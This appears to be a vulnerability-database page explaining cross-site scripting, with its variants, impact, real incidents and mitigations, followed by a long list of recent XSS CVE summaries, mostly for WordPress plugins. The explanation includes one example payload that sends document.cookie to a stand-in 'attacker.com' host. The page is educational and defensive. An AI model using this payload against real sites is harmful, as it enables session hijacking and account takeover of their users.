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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40698)

EPSS 0% CVSS 4.3
MEDIUM This Month

Age Verification for your checkout page. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easypromos Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Easypromos shortcode in all versions up to, and including, 1.3.8 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 7.2
HIGH This Week

The Subscribe2 - Form, Email Subscribers & Newsletters plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ip parameter in all versions up to, and including, 10.43 due to. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Booking Package plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the locale parameter in all versions up to, and including, 1.6.72 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Wonder Video Embed plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wonderplugin_video shortcode in all versions up to, and including, 2.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in awsm.in Drivr Lite - Google Drive Plugin allows Stored XSS.0.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Google +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Erez Hadas-Sonnenschein Smartarget allows Stored XSS.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 1.3
LOW PATCH Monitor

smartbanner.js is a customizable smart app banner for iOS and Android. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Google Apple
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Sage DPW before 2024_12_000 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sage Dpw Sagedpw
NVD
EPSS 0% CVSS 3.8
LOW Monitor

A vulnerability was found in Keycloak. Rated low severity (CVSS 3.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 7.2
HIGH This Week

The FormCraft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 3.9.11 due to insufficient input sanitization and output. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +2
NVD
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The Post SMTP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the from and subject parameter in all versions up to, and including, 3.0.2 due to insufficient input sanitization. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Uncode theme for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘mle-description’ parameter in all versions up to, and including, 2.9.1.6 due to insufficient input sanitization. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Uncode +1
NVD
EPSS 0% CVSS 8.4
HIGH POC This Week

A vulnerability exists in ChurchCRM 5.13.0 and prior that allows an attacker to hijack a user's session by exploiting a Stored Cross Site Scripting (XSS) vulnerability in the Group Editor page. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Authentication Bypass Information Disclosure +1
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Threepress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'threepress' shortcode in all versions up to, and including, 1.7.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Threepress +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Active Products Tables for WooCommerce. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

In the "bestinformed Web" application, some user input was not properly sanitized. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 5.3
MEDIUM This Month

In the "bestinformed Web" application, some user input was not properly sanitized. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The Super Testimonials plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'st_user_title' parameter in all versions up to, and including, 4.0.1 due to insufficient input. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

WordPress XSS Super Testimonials +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Web Stories Enhancer - Level Up Your Web Stories plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'web_stories_enhancer' shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Web Stories Enhancer +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The aBlocks - WordPress Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the "Table Of Content" Block, specifically in the "markerView" attribute, in all. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Ablocks +1
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Online Payments - Get Paid with PayPal, Square & Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcodes in all versions up to, and including, 3.20.0. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Online Payments Get Paid With Paypal Square Stripe +2
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The s2Member - Excellent for All Kinds of Memberships, Content Restriction Paywalls & Member Access Subscriptions plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS S2Member +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Mortgage Calculator / Loan Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'mlcalc' shortcode in all versions up to, and including, 1.5.20 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

The Reaction Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.1.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Reaction Buttons +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Simplebooklet PDF Viewer and Embedder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'simplebooklet' shortcode in all versions up to, and including, 1.1.0 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Simplebooklet +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Zigaform - Price Calculator & Cost Estimation Form Builder Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'zgfm_fvar' shortcode in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Zigaform +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Simple Pricing Tables For WPBakery Page Builder(Formerly Visual Composer) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wdo_simple_pricing_table_free'. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Pricing Tables +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Simple Charts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'simple_chart' shortcode in all versions up to, and including, 1.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Simple Charts +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP-Asambleas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'polls_popup' shortcode in all versions up to, and including, 2.85.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wp Asambleas +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP-BibTeX plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'WpBibTeX' shortcode in all versions up to, and including, 3.0.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wp Bibtex +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The CATS Job Listings plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'catsone' shortcode in all versions up to, and including, 2.0.9 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Cats Job Listings +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Gumlet Video plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gumlet' shortcode in all versions up to, and including, 1.0.3 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Video +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Zigaform - Form Builder Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'zgfm_rfvar' shortcode in all versions up to, and including, 7.4.2 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Zigaform +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Simple Map No Api plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘width’ parameter in all versions up to, and including, 1.9 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Simple Map No Api +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP-FormAssembly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'formassembly' shortcode in all versions up to, and including, 2.0.11 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wp Formassembly +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Library Bookshelves plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'bookshelf' shortcode in all versions up to, and including, 5.9 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Library Bookshelves +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Open Hours - Easy Opening Hours plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'open-hours-current-status' shortcode in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Open Hours +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy MLS Listings Import plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'homeasap-featured-listings' shortcode in all versions up to, and including, 2.0.1 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Easy Mls Listings Import +1
NVD
EPSS 0% CVSS 7.2
HIGH This Week

The Rapid Cache plugin for WordPress is vulnerable to Cache Poisoning in all versions up to, and including, 1.2.3. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Rapid Cache +1
NVD
EPSS 2% CVSS 5.1
MEDIUM This Month

A vulnerability has been found in D-Link DIR-816 1.01TO and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS D-Link Dir 816 Firmware
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Gallery allows Stored XSS.2.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RealMag777 BEAR allows Stored XSS.1.4.4. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Bear Woocommerce Bulk Editor And Products Manager Professional +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Detheme DethemeKit For Elementor allows Stored XSS.1.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Dethemekit For Elementor +3
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sonalsinha21 SKT Blocks - Gutenberg based Page Builder allows Stored XSS.7. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Skt Blocks +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Joe Waymark allows Stored XSS.5.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Webilia Inc. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bPlugins Timeline Block allows Stored XSS.1.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ERA404 ImageMeta allows Reflected XSS.1.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webjema WP-NOTCAPTCHA allows Reflected XSS.3.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 1% CVSS 4.7
MEDIUM POC This Month

The OWL Carousel Slider WordPress plugin through 2.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Owl Carousel Slider +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The VR-Frases (collect & share quotes) WordPress plugin through 3.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Vr Frases +1
NVD WPScan
EPSS 2% CVSS 7.1
HIGH POC This Week

The Tube Video Ads Lite WordPress plugin through 1.5.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Tube Video Ads Lite
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Wise Forms WordPress plugin through 1.2.0 does not sanitise and escape some of its settings, which could allow unauthenticated users to perform Stored Cross-Site Scripting attacks via malicious. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wise Forms
NVD WPScan
EPSS 3% CVSS 7.2
HIGH PATCH This Week

The WP Activity Log plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘message’ parameter in all versions up to, and including, 5.2.2 due to insufficient input sanitization. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in what3words what3words Address Field allows Stored XSS.0.15. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeum Qubely - Advanced Gutenberg Blocks allows Stored XSS.8.12. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Qubely +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VaultDweller Leyka allows Stored XSS.31.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HashThemes Easy Elementor Addons allows DOM-Based XSS.1.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in alexvtn Content Snippet Manager allows Stored XSS.1.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Botnet Attack Blocker allows Stored XSS.0.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Levan Tarbor Forex Calculators allows Stored XSS.3.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Ad Inserter Pro allows Reflected XSS.7.39. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in upcasted AWS S3 for WordPress Plugin - Upcasted allows Stored XSS.0.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in enituretechnology LTL Freight Quotes - Worldwide Express Edition allows Reflected XSS.0.21. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in enituretechnology LTL Freight Quotes - Unishippers Edition allows Reflected XSS.5.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Ltl Freight Quotes +2
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Oshine Modules allows Reflected XSS. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in Internet Web Solutions Sublime CRM up to 20250207. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD VulDB
EPSS 3% CVSS 5.3
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in SIAM Industria de Automação e Monitoramento SIAM 2.0.jsp. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in the RT-N10E/ RT-N12E 2.0.0.x firmware . Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in Eastnets PaymentSafe 2.5.26.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability has been found in FastCMS up to 0.1.5 and classified as problematic. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fastcms Xjd2020
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The ElementsKit Elementor addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Image Accordion widget in all versions up to, and including, 3.4.0 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +4
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Front End Users plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's forgot-password shortcode in all versions up to, and including, 3.2.30 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Front End Users +2
NVD
EPSS 0% CVSS 4.3
MEDIUM POC This Month

The Maps Plugin using Google Maps for WordPress WordPress plugin before 1.9.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Google +2
NVD WPScan
EPSS 0% CVSS 4.3
MEDIUM POC This Month

The Maps Plugin using Google Maps for WordPress WordPress plugin before 1.9.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Google +2
NVD WPScan
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Suse
NVD GitHub
EPSS 20% CVSS 6.1
MEDIUM POC PATCH THREAT This Month

Label Studio is an open source data labeling tool. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 20.0%.

XSS Information Disclosure Label Studio +1
NVD GitHub
EPSS 0% CVSS 5.6
MEDIUM POC This Month

A Stored Cross-Site Scripting (XSS) vulnerability was discovered in the manage-employee.php page of Kashipara Online Attendance Management System V1.0. Rated medium severity (CVSS 5.6), this vulnerability is low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Tenda +2
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in hooskcms v.1.7.1 allows a remote attacker to obtain sensitive information via the /install/index.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hoosk
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Cross Site Scripting vulnerability in hooskcms v.1.8 allows a remote attacker to cause a denial of service via the custom Link title parameter and the Title parameter. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Denial Of Service Hoosk
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

IBM QRadar SIEM 7.5 is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Qradar Security Information And Event Manager
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS allows Stored XSS via the Blocked Sites list. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Watchguard
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

